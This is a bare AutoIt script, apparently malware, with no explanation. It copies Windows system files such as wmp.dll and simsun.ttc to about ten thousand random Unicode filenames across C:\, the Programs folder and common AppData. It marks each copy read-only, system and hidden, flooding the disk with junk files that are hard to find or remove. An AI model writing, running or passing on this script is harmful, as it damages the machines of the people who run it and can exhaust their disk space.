哈
Local $File[5] = [@SystemDir & "\wmp.dll", @SystemDir & "\nvcpl.dll", @WindowsDir & "\Fonts\simsun.ttc", @SystemDir & "\oembios.bin", @WindowsDir & "\drivers\nv4_mini.sys"]
Local $Ext[10] = [".dll", ".mp3", "", ".bin", ".sys", ".msi", ".ttc", ".ttf", ".exe", ".cab"]
Local $Path[3] = ["C:\", @ProgramsDir, @AppDataCommonDir]
For $i = 0 To 10000
Local $FileName = $Path[Random(0, 2, 1)] & "\" & ChrW(Random(0, 65535, 1)) & $Ext[Random(0, 9, 1)]
FileCopy($File[Random(0, 4, 1)], $FileName, 9)
FileSetAttrib($FileName, "+RSH")
Next
|